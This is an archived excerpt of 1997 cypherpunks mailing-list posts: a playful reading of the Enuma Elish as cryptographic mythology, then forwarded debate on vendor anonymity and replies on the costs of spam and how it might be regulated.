   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 14:43:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymity should be banned for speakers and vendors
Message-ID: <Pine.GSO.3.95.970604174023.29555R-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


[Ray, a recent DC law school grad and anti-spam activist, is a good guy
but is IMHO sadly mistaken here. Thought this might be interesting.
--Declan]

---------- Forwarded message ----------
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
X-FC-URL: To join send "subscribe" to fight-censorship-request@vorlon.mit.edu
Date: Wed, 4 Jun 97 17:25:36 -0400
From: Ray Everett-Church <ray@everett.org>
Sender: owner-fight-censorship@vorlon.mit.edu
To: sameer <sameer@c2.net>, tbetz@pobox.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Spam costs and questions

On 6/4/97 4:52 PM, sameer (sameer@c2.net) wrote:

>> If Wallace were up against criminal and civil penalties if he continued to 
>> hide his customers' real identities, he'd give them up in a hot second.  Of 
>> course, as soon as there was a chance of that happening, he'd get out of 
the 
>> business entirely. 
>
>	So how do criminal and civial penalties for not revealing a
>customer's name protect anonymity on the internet?
>	Anonymity on the internet must be preserved. If you could come
>up with a way to make spam illegal and preserve anonymity, I would be
>very glad. Until then, I will have to oppose making spam illegal.

As stated before, I have heard no convincing argument that it is in the 
consumers best interest to have an anonymous *vendor*. Sure it's vital 
that *consumers* be allowed to remain anonymous, but if you're selling a 
product or service, there's no legitimate reason why a business needs to 
remain anonymous given issues of warranties, product liability, sales 
taxes, etc.

And in the case above, since the remailer in question is simply acting as 
an agent for the business, there's no question of legitimate anonymity 
implicated. Indeed, perpetuating anonymity for the business often times 
facilitates activites that constitute a breach of contract and sometimes 
even fraud. The whole reason to use a pro-spam anon remailer is so that 
you can violate your ISP usage agreement without being traceable or 
accountable. And if you've entered into that contractual relationship 
with the ISP with the *intent* to breach that contract, it's fraud.

Anonymity for consumers, Yes!  Anonymity for vendors, NO!

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 13:21:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Responses to "Spam costs and questions" (long)
Message-ID: <Pine.GSO.3.95.970605132008.27292F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Yesterday I forwarded questions about spam from a friend who was speaking
before the FTC next week. Here are most of the replies I received, which
I've attached below. Some may have appeared here already.

From: glee harrah cady <glee@netcom.com>
From: Wei Dai <weidai@eskimo.com>
From: Stanton McCandlish <mech@eff.org>
From: Robert Moskowitz <rgm3@chrysler.com>
From: "Halpert, James - DC" <jhalpert@pipermar.com>
From: Azeem Azhar <aja@economist.com>
From: Mark Grant <mark@unicorn.com>
From: Charlie Stross <charlie@public.antipope.org>
From: Bill Frantz <frantz@netcom.com>
From: "Shabbir J. Safdar" <shabbir@vtw.org>
From: djones@insight.dcss.McMaster.CA (David Jones)
From: wyang@ktel.osc.edu
From: clinton@annoy.com (Clinton at Annoy)
From: Eric Murray <ericm@lne.com>
From: Ray Everett-Church <ray@everett.org>
From: Chris Poupart <jyhad@odyssee.net>
From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
From: Roger Bohn <Rbohn@UCSD.edu>

-Declan


***********

Date: Wed, 4 Jun 1997 15:26:33 -0700 (PDT)
From: glee harrah cady <glee@netcom.com>
To: Declan McCullagh <declan@well.com>

A large amount of real costs are principally being borne not by the
individual recipient but by the networks that are being abused in the
process, which costs the users of the networks involved.  Lots of spammers
are not using "their own" networks to send out the spam, but using the
open nature of the Internet to relay the messages off the mail servers of
networks throughout the world.  One really egregious instance of which
I've been told is that someone used a mailserver in New Zealand as a relay
for a large spam.  I've heard that data charges in New Zealand are for
info in AND out, the provider had to pay for the privilege.  SInce this
was a third-hand story, I can't cite you chapter and verse -- wish I
could.  When lots of spam hits a single network, email processing for all
customers, whether or not they are recipients of that particular spam, is
slowed.  Lots of networks have this problem.  Unlike email systems that
stored one copy of an email, regardless of the number of recipients, the
systems we're using on the Internet today send real physical bits for each
message that take up space on mail queues.  This, too, inhibits email of
all involved.  Then, folks have to deal with the fact that the spam is on
their network: tech support folks are paid to answer queries about it,
sysadmins are paid to toss it out (in cases where it hits large intranets
-- one company local to here has two sysadmins that do nothing but get rid
of spam coming into their local net) or to manage the disk space required
to store the stuff. 

Smaller providers are getting killed with the stuff.  

The reason that many of us provider-types find more to like the Torricelli
approach is that it goes after the deceptive practices that make it harder
for us all to trace the sources of the spam: the hiding behind false or
not accurate domain names; the hiding of the actual email address of the
spammer; the harvesting of names and addresses from the open directories
of whitepage services or of online providers, etc.  This approach, we
think will be more effective at getting to the root of the problem than
labelling speech.  After all, it's not only commercial speech that is
being sent as spam and it's not responsible marketers who are doing it
either. 

I'm not sure that legislation is actually needed to address the problem.  
I could make an argument that said that the deceptive practices that are 
making it difficult to go after the spammers actually fall into the 
purview of the FTC.  I am concerned that we don't legislate something 
that we'll really be sorry about later.

As usual, summarizing a complex and difficult policy and operational 
issue in one short email probably causes problems, too.  I hope I've not 
left out anything, but probably I did.  Ask if what I've said isn't 
clear.
:-) 
  ____________________________
	glee harrah cady        Manager, Public Policy, NETCOM
   	+1.408.881.3227	     1.800.NETCOM-1	  glee@netcom.com 
           co-author, _Mastering the Internet_, Sybex, 1995 & 1996

*********

Date: Wed, 4 Jun 1997 23:39:28 -0700 (PDT)
From: Wei Dai <weidai@eskimo.com>
To: Declan McCullagh <declan@well.com>

Here's a cost that's seldomly counted: the occasionally useful spam that
we delete without reading because most spam are simply garbage.

I would argue that any spam protection system that does not allow useful
spam to get through is flawed.

*********

From: Stanton McCandlish <mech@eff.org>
To: declan@well.com
Date: Wed, 4 Jun 1997 16:22:12 -0700 (PDT)
Cc: fight-censorship-announce@vorlon.mit.edu,
        mech@eff.org (Stanton McCandlish)

Feel free to send this to FC, etc.

This response does not constitute and official EFF position, but I believe
it acurately reflects thinking here that will become EFF position shortly.

Declan McCullagh typed:
> 
> A friend who's going to be on one of the FTC panels next week sent me a
> few questions about spam. Does anyone want to try their hand at answering
> them? I'll forward along all responses I get. 
> 
> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would

ALL/MULTIPLE USERS

* cost of storage (ISP, user or both, depending on mail system) in disk
  space and memory (remember it takes RAM to load a mailbox into any 
  modern email program).
* severe degradation and sometimes destruction of forums as they are
  over-run by spammage.
* reputational harm and loss of all usefulness of Internet account (after
  being subject to a spammer's header forgery listing the innocent victim
  as the sender, who then receives all the hatemail the spamming
  generates).


INDIVIDUAL END USER ADDITIONAL COSTS

* time to read/examine
* time to delete
* time to filter
* time to unsubscribe, complain, or otherwise respond
* increased ISP/online service subscription fees as provider costs are
  passed on to customers.
* per byte, per minute or per message costs from ISP (not all users)
* per minute costs from phone or other conduit provider (not all
  users)

CORPORATE END USER ADDITIONAL COSTS

* lost productivity due to time sinks mentioned above, frustration,
  etc.
* missed opportunities, deadlines, etc., due to too much mail to sort
  thru resulting in important messages being missed. Major potential for
  corporate lossage here.

CORPORATE ADMINISTRATOR ADDL. COSTS

* time (often quite a lot) filtering dependent users' mail, blocking
  spamming sites, contending with filled up disks, and other wastes of
  stafftime due to spamming.

ISP/ONLINE SERVICE ADDL. COSTS

* Help desk and admins' time filtering/blocking by customer request (not
  all sites do this)
* Help desk and admins' time filtering/blocking by necessity to prevent
  exceedingly abusive spammers sucking up all available disk space 
* admins' time in cleanup after one of their users engages is spamming or
  is perceived to have done so due to forged headers, and 1000s of angry
  victims send in complaints, threats, etc.
* company's losses in market share and reputation after one of their users
  engages is spamming or is perceived to have done so due to forged
  headers 
* admins' time in cleanup after one of their users engages is
  spamming or is perceived to have done so due to forged headers, and 10s
  or more of angry victims become vigilantes, and hack the provider, SYN
  flood them, send them crippling emailbombs, etc.
* company's losses in mkt. share and reputation after their service slows,
  crashes or otherwise is negatively affected by such attacks.
* company's liability when other subscribers sue for breach of contract,
  for return of subscription fees, etc., due to such outtages or
  degradation of service
* CEO & legal staff time researching if any recourse is available.
* increased connectivity costs as 56K, T1, etc. high-speed connections are
  not fast enough to keep up with all the spam (e.g. it is currently
  physically impossible to carry a full "Big 8" and alt Usenet feed with
  only a T1 connection [verify with a major ISP if in doubt], largely due
  to the amount of spamming in the alt groups.
* increased staffing costs as more people have to be hired or consulted to
  deal with the problems caused by spammers.

Please feel free to send suggestions for addtions to this list, which I've
made for other purposes than answering Declan's query.


Remember that TIME = MONEY and RESOURCES = MONEY in all above
formulations.


> 	like to know how to quantify it, and



> 	compare it with the cost of sending
> 	e-mail.

It costs roughly $20 for Net access[*], plus the cost of a
spamming-targeted mailing list ($50?) to send multiple millions of
messages. 

[Actually this is not really true - unless AOL has changed the
capabilities of its trial accounts, it actaully costs NOTHING to set up a
temporary account that is capable of massive spammage. Worse yet, the
technology to MAKE massive email lists is trivially available and/or
creatable, so one does not even have to buy such a list.  ZERO cost at
all.)
 
> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Certainly. There are many other problems:

1) Any ban is going to be very difficult to write in a way that will
survive constitutional scrutiny.

2) Banning all commercial email is obvioulys stupid and unconstitutional -
I have a First Amendment right to receive commercial messages if I want
to.

3) Banning all unsolicited email is obviously stupid and unconstitutional
- I have a First Amendment right right to tell IBM that I like their web
page, even if they didn't ask me for my comments.

4) Banning all commercial unsolicited email is obviously stupid and
arguably unconstitutional.  I probably have a right to send you a message
offering my product if something in an email or a post or web page by you
indicated you might be interested in what I'm offering. Additionally, such
a ban does not speak to the issue - commerciality is not the problem.
Religious and political rants are, to most people, an even more offensive
form of spamming that advertisements are.

5) Despite the optimism of some, no local (i.e. national) law will ever
stop spam, it will simply move spammers off-shore.  That fewer
respondents will buy, due to distrust of foreign merchants, is irrelevant
- the spamming business model is successful if only 1 out of a million
people makes a purchase, because there are essentially no costs.

6) All such bans attack content. This makes them presumptively
unconstitutional right from the start. The issue of spamming cannot be 
solved with a ban.  Spamming as a problem is divisible into TWO problems:

a) Theft, abuse or usurpation of resources owned by specific parties (i.e.
ISP connectivity, staff time, etc., and your productivity), or owned by
everyone (tragedy of the commons).  This is a matter of the right to not
be forced to bear the costs of another's expression (a component of the
right to freedom of speech and press), with shades of the right to use
public resources (i.e. offline if some bully, every time you try to go a
public park, blocks your entrance into the park, you can get an injunction
against this person. Hard to map this kind of thing to the offline world
though, on legal grounds even if the ethics of the situation are plain as
day.)

b) Violation of the recipient's right to be left alone (a component of the
right to privacy) and right to not be forced to read another's expression
(a component of the right to free speech and press).  Spammers love to
contort this last into another *almost* opposite right - the right to
speak freekly in public even if it offends someone. They avoid the issue
of not having a right to do this in private spaces, and not having a right
to force others to bear their costs even for public expression.

Anyway, the privacy and freedom to not read issues seem to apply
principally if not only to private email, while the arguments in point a)
seem to apply to private mail, and forums (mailing lists, newsgroups).

These two problems require different solutions (and probably in fact both
require combinations of several different solutions, ranging from class
action suits to fraud prosecution to better filters to increased system
security to prevent forgery to tighter users contract to "don't route
spamming ISP's traffic" agreements between ISPs and NSPs, etc., etc.)

EFF is forming a working group to try to size up the various options and
possible solutions and see which ones are viable, which ones are best for
rights and for the Internet, which are expedient but would harm the public
interest, which are unconstitutional or otherwise bad, and so on.

We also have to look at this beyond the here-and-now. What about ISPs that
in the fine print say they sell their entire user base's contact info to
e-marketers? What about the use of "push" technology for spam-like
purposes? What about a MoU between all backbones and major NSPs to simply
drop service to any "spammer haven" ISP?  What about calls for direct
regulation by the FTC or FCC? Or by a UN body?  Many proposals are flying,
many problems envisioned (and some being missed by most), and many people
are getting increasingly hysterical about this so we need to find
some solutions quickly. None of the legislation produced so far does
anything but cause more damage.

--
Stanton McCandlish                                           mech@eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join


*********

Date: Thu, 05 Jun 1997 06:52:36 -0400
To: declan@relay.pathfinder.com,
From: Robert Moskowitz <rgm3@chrysler.com>

Morning Declan.

In today's Internet charging scheme, there are two costs to the Internet
consumer: Time to retrieve mail, and time to process scams.  The first will
fade as higher bandwidth solutions come into play.  The later may never
fade.  Most users are not email savy, even if their email software is.
People do dumb things like post to USENET groups and then get on the big
spam lists, further increasing their mail filtering efforts.

But let's put this into perspective.  Today, I might send 5 - 10 minutes
everyday, sorting through my USMail.  Now I am a good recycler, and I open
everyone and put all of the papers into the proper bins; some days this can
take me 20 minutes.

Despite my Eudora Pro filters that color flag suspected spams (I don't
delete them, the filters might be in error) for easy delete, I have dozens
of emails among my hunderds of messages to read before trashing.  Maybe 5 -
10 minutes a day.

I really do not think spam is all that bad unless....

What I have discovered is that recreational email, ie use of USENET and
recreational LISTSERVs is the way that people get on spam lists.  Us
techies thus may have a very low spam to message ratio.  But poor johnQpub,
naively posts to alt.rec.sailboats and then gets 100 spams a day
semi-related to sailing (Sherri would LOVE to go sailing with you...).

Interestingly, the answer to spam is NOT filters to block it, but filters
to move ligitamate mail into folders for processing and leave your IN box
for quick scan/trashing.  Thus the cost of spam to the user is education
and GOOD (read not free) email software.

Now the cost to mail handlers is different, but they can and should fight
back.  Look at the lawsuit by flowers.com.  Tracy and her husband run a
small time operation.  The spam that used their domain name as the reply-to
cost them time and business.  They are going after the kid.  This is
costing them, but it will get them on a list of 'do not spam' sights, we hope.



Robert Moskowitz
Chrysler Corporation
(810) 758-8212

*********

From: "Halpert, James - DC" <jhalpert@pipermar.com>
Date: Wed, 04 Jun 97 17:00:00 DST


Declan,


Very high volume spam can and does burden service providers'
systems.  Remember the cost of sending a million or so e-mails
is very low, but engineering a network to handle, say, 200,000
improperly addressed e-mails that collect on a service provider's
mail server costs a good deal more.  Herein lies an economic
problem.

This is not to say that the Constitution shouldn't be sacrificed on
the altar of an economic problem, but the concern about high volume
spam should not be dismissed as trivial.

                         -- Jim Halpert


*********


Date: Thu, 5 Jun 1997 00:10:54 +0100
To: declan@well.com
From: Azeem Azhar <aja@economist.com>


Declan,

Here are a variety of costs:
1. phone costs (non-us)
2. traffic costs (if you are one of the customers on metered useage that
e.g. UUnet and BBNplanet offer)
3. hard-drive costs (my mac crashed a few weeks ago losing data in another
application because an incoming e-mail took up my last bit of drive space.
technically myu fault, i know, but a cost nonetheless.)
4. my time (to write and check anti-spam filters. it took me over an hour
to construct a good system in eudora. my charge out rate is GBP100 an hour,
minimum 8 hours.)
5. CPU time on mail-relays on the way. e-mail *does* impose a measurable
load on an SMTP host.


Azeem

Azeem Azhar                     vx: +44 171 830 7133
The Economist      		fx: +44 171 681 1358
25 St James Street              e-mail: aja@economist.com
London SW1A 1HG                 www: http://www.economist.com/

Disclaimer: The views expressed in this email do not necessarily represent
those of my employer.

*********

Date: Thu, 5 Jun 1997 02:43:02 -0700 (PDT)
From: Mark Grant <mark@unicorn.com>
To: declan@well.com


> What are the costs to consumers of unsolicited e-mail? 

Up to 150k of disk space, up to about 50 seconds of connect time for those
who download it by modem (assuming 28.8k), a few seconds of time to delete
it or a few minutes to send complaint mail back to their ISP.

Worse is the indirect cost to consumers through the hassle it causes to
their ISPs. They need faster links and more powerful mail servers to
process the extra unwanted data and take time to install filters and deal
with spammers. I've already had one spammer send out mail with a false
unicorn.com return address which took a day of my time to sort out.

>If you banned commercial e-mail, wouldn't it just affect legitimate
>commercial transactions?

Of course. Banning it is dumb and will cause all sorts of unexpected
problems. A few class-action suits should eliminate most of them.

	Mark
	(postmaster@unicorn.com)

*********

Date: Thu, 5 Jun 1997 11:02:49 +0100 (BST)
From: Charlie Stross <charlie@public.antipope.org>
To: Declan McCullagh <declan@well.com>


On Wed, 4 Jun 1997, Declan McCullagh wrote:

> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  

Those are minimal.

Here in the UK, there are NO free local phone calls (unless you're lucky
enough to live in Hull, or have a cableco who want to let you yack to your
neighbours - it's a long and boring story). Furthermore, if you receive
email via SMTP or UUCP (rather than via a mailbox reader protocol like
POP3 or whatever) you can't filter the junk out before it reaches you.
Thus, receiving spam costs money, in terms of dialup connect time.
Moreover, some spammers use really poor, munged, address lists; I've
seen 100Kb mails (a couple of minutes of download time on an old 14.4K
modem, which is what many people still use) with maybe a 1K payload at
the end of the headers.

Given that I've got three or four users on my dialup site, and we get
an average of 5 UCEs/person/day, it's probably costing us 5-15 pence/day
extra on the phone bill. Not significant for _one_ site, but if you
multiply by two million (est. number of UK internet users) you get 
a plague that's costing about 20 million UK pounds/year -- to the 
unwilling victims.

This is before you factor in the online services like Compuserve or CIX
that charge per unit connect time, or charge for mail received from the
internet.

The real victims, though, are the people whose addresses the spammers bung
in the Reply-to: fields, so that they get mailbombed by indignant
recipients. 


-- Charlie Stross

*********

Date: Wed, 4 Jun 1997 23:17:10 -0700
To: Declan McCullagh <declan@well.com>, cypherpunks@toad.com
From: Bill Frantz <frantz@netcom.com>


At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I don't think the costs of the 1-3 spam messages I get each day is
significant.  (But I don't post to Usenet.)


>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

Can you say regulatory arbitrage?  The current social controls on spam are
good enough that no one with any positive reputation wants to have anything
to do with it.  This means that spammers have to use anonymous offshore
answering services.  The widespread hatred of spam and spammers should keep
the total amount under control without the legal action and in spite of the
very low cost of spamming.

The recent problems Spamford has been having with denial of service attacks
is just one example of the social control process.  The flood of hostile
email spammers who include real email addresses receive are another.
Legitimate commercial email does not evoke these strong reactions.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA

*********

Date: Wed, 4 Jun 1997 16:15:27 -0400
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
From: "Shabbir J. Safdar" <shabbir@vtw.org>


The combined EF-Florida/EFF-Austin/VTW filings for the FTC workshop will
contain an exhaustive examination of the costs associated with junk email
and the technology paradigms for addressing it.

It's a technology paper, and doesn't take any particular political agenda.

-S

*********

Date: Wed, 4 Jun 97 16:11:58 EDT
From: djones@insight.dcss.McMaster.CA (David Jones)


> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would
> 	like to know how to quantify it, and
> 	compare it with the cost of sending
> 	e-mail.

To many people, the cost of spam is simply the time and tedium wasted
deleted unwanted messages.  Pretty minimal.  A burdensome set of
regulatory restrictions would also be an annoyance as people waste time
and effory making sure reasonable email correspondence "complies"
with the new rules.

To some users of certain online services, they must pay for
email messages or disk space and must pay for connect time.
In these cases, there is a real and measurable monetary cost
of spam.  I'm sorry, I can't quantify that for you.

At the organizational level, some companies may pay for 
Internet traffic bandwidth.  If a significant fraction of
the traffic is wasted on spam (actually I *really* doubt this is the case)
then it could be calculated.


> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Hang on.  A true "pyramid scheme" requires the victims to
send money to the folks operating the scheme.  Therefore, they
can't be entirely anonymous ... or they'd never be able to cash in!

Banning "commercial email" is just nuts.  Should we also
ban "business-related email" ?  Or "advertising email" ?
.... or what about "political advertising on the Net" ??

The Canadian government just made the front page of HotWired's
online magazine for being foolish enough to ban certain political
advertisements on the Net.  Surely the U.S. won't make the same mistake.

-- David Jones, PhD
president, Electronic Frontier Canada -- djones@efc.ca

*********

Date: Wed, 4 Jun 1997 18:15:59 -0400 (EDT)
From: wyang@ktel.osc.edu
To: declan@well.com


Hi.

I run a Free-Net -- a community outreach project of the Ohio State
University and the Ohio Supercomputer Center, which gives free access
to anyone who lives in our service area (we're serving about 20,000
people right now -- I understand that, in our service area, Compuserve
only has about 12,000 customers).

I don't read the censorship fighting list, but someone who does
forwarded me your message.

I don't know about user costs... but I do know about network-level
(provider-level) costs.  Disk space is only PART of the computational
problem.  There's also the swallowing of network bandwidth, and the
drain on compute resources (CPU/RAM).

My site normally carries about 25,000 unique message ID's per day.
Our estimates (these are eyeball numbers, not based on hard-and-fast
numbers) make it look as though 10% to 20% of those messages are spam.
That's ten to twenty percent of our e-mail operation cost being
immediately put toward spam.  Beyond that, our users complain about
spam.  A lot.  Right now, about an hour of my time every day is spent
dealing with spam complaints (about other sites spamming us, mind).
That's 1/8th of my work time, with a massive opportunity cost (as well
as a real cost).  The other staff members are *also* getting similar
time drains.  We currently estimate that between $500 and $2000 per
month is completely lost to spammers -- funds redirected away from our
community outreach/service mission, SUBSIDIZING COMMERCIAL OPERATIONS
which generally do not enrich our community.  That monthly cost is
being drained out of a very small ($150k - $200k per year) project
budget which is only getting smaller because people only donate to our
donation-driven budget when they like what's going on, and they don't
like spam.

You might try to call it the cost of doing business... except for the
fact that I'm not a normal network carrier.  I'm a Free-Net, one of
those community-minded sites that's trying to make sure that access to
the informational wealth on the Internet is available at price that
everyone can afford (free).  Universal access is being threatened by
this kind of activity, which has a massive user-level costs and
implications.  Most Free-Nets are incapable of handling the constant
barrage of spam, and the complaints they generate.


> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Everything can be traced on the 'net.  The question is what the cost
of tracing it is going to be.

You need to remember that there's virtually NO cost associated with
*sending* spam.  ISP connectivity costs, maybe bandwidth metering for
a couple of messages.

Those messages, however, can be expanded (1:1,000,000 kinds of ratios
are potentially possible; one message can theoretically generate a
MILLION spam messages; in practice, I've seen 1:10,000 ratios).  The
networks that carry the traffic are taking that computational and
network-bandwidth cost.  And they get hit by complaints from their
users.

I recognize that no matter what the law is going to do, you're not
going to *stop* spam.  The issue is to reduce the volume of spam
enough to make sure that the cost is reduced to acceptable and
absorbable cost-levels.  That may mean making spamming tools such as
"e-mail blaster" criminal tools.

Free speech is great... but it's only free when it's not invasive into
the rights of others.  Spam *is* invasive, and there are clear,
acceptable, and frankly more effective alternative methods for
communicating commercial messages.

	-Bill

System Manager, Lead System Administrator
The Greater Columbus Free-Net

********

From: clinton@annoy.com (Clinton at Annoy)
To: "'declan@well.com'" <declan@well.com>

It is vital to distinguish between "unsolicited email" and "spam".

Spam is essentially considered mass e-mailing for commercial purposes,
(usually such as the selling of a product or service).

If "unsolicited e-mail" is rendered illegal, what will happen to someone who
mistakenly sends an email to the wrong address? It's like prosecuting 
someone for dialing the wrong number.

What about a deliberately targeted, but unsolicited email that is crafted to express 
displeasure to a politician, for instance? To be potentially prosecuted on such a basis 
could (and will) place a severe chill on the rights of people to communicate freely 
with elected officials - the cornerstone of democracy.

A protocol to deal with spamming is by no means unwelcome, but to confuse it with unsolicited 
email is potentially very dangerous. Especially with a government so intent on censoring the 
free flow of information and thought. Perhaps the first place to start would be to clearly
define spam.

Clinton Fein
Publisher and Editor
annoy.com

*************

From: Eric Murray <ericm@lne.com>
Subject: Re: Spam costs and questions
To: declan@well.com
Date: Wed, 4 Jun 1997 14:09:42 -0700 (PDT)

Declan McCullagh writes:
> 
> A friend who's going to be speaking on one of the FTC panels next week
> sent me a few questions about spam. Does anyone want to try their hand at
> answering them? I'll forward along all responses I get.
> 
> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would
> 	like to know how to quantify it, and
> 	compare it with the cost of sending
> 	e-mail.

Also there's the cost of network transport of spam, both from
the spammer's host to the recipient's ISP, and from the ISP
to the recipients PC.  The last is often the worst, as it eats up
time the victim could be using to do something productive.

In addition, most spam is bounced through an innocent third party
who has a good network connection, like a university.
Sending out a lot of spam takes much bandwidth, so the spammer
steals the bandwidth and processing power from the innocent third party.

> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Spammers need to have a way that you can respond to them.
Since spam is legal, and they don't want email in return, they
include phone numbers, fax numbers, or snail-mail addresses
for people to reply to.  If spam were illegal, then spammers
could be tracked via the phone numbers.  It's only the email's
return path that's difficult to trace- spam, because it is selling
something, must have a way for potential customers to respond.

Most of the purported 'anti-spam' legislation is thinly-disguised
LEGITIMIZATION of spam!!  Anything that puts the burden on ISPs
or recipients to filter out 'tagged' messages legitimizes
spam.  As annoying as spam is, I would much prefer that nothing
be done rather than a poorly-thought-out law.  So far, all the proposed
laws I have seen have had flaws in them that make me unable to
support them.  To be honest, I can not myself come up with a law that
I would find acceptable.  It's a hard problem.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 

***********

Date: Wed, 4 Jun 97 16:10:07 -0400
From: Ray Everett-Church <ray@everett.org>
To: "Declan McCullagh" <declan@well.com>, <fight-censorship@vorlon.mit.edu>

On 6/4/97 3:44 PM, Declan McCullagh (declan@well.com) wrote:

>A friend who's going to be speaking on one of the FTC panels next week
>sent me a few questions about spam. Does anyone want to try their hand at
>answering them? I'll forward along all responses I get.
>
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I also will be speaking at the FTC next week and address that question in 
my FTC filing which can be seen at 
<http://www.smart.net/~everett/comment.html>

The short version of the answer is that UCE is difficult to assign a 
clear cost to in part because it is spread over such an ever widening 
base that the more people you spam, the harder it is to know where the 
costs are concentrated. However there are costs to the bandwidth provider 
for the site originating the spam in terms of consumed bandwidth, there's 
also costs of consumed bandwidth leading into every site that receives 
the mail. Once it arrives at an ISP, there are costs in terms of the CPU 
time and system efficiency issues, and disk space consumed, and costs for 
the consumers who may have to spend more time and money (if they pay on a 
metered basis) to download and sort through the stuff. It's hard to 
quantify in dollars and cents, but lets look at the quantities we're 
talking about. AOL has publically estimated that they process about 30 
million pieces of email a day and further they've publically estimated 
that 40-45% of that is spam. I recently sampled 3 days of my regular spam 
load and the average piece was a hair over 5000 bytes. 5k * 13 million 
messages, you're talking roughly 65 million kilobytes a day. (somebody 
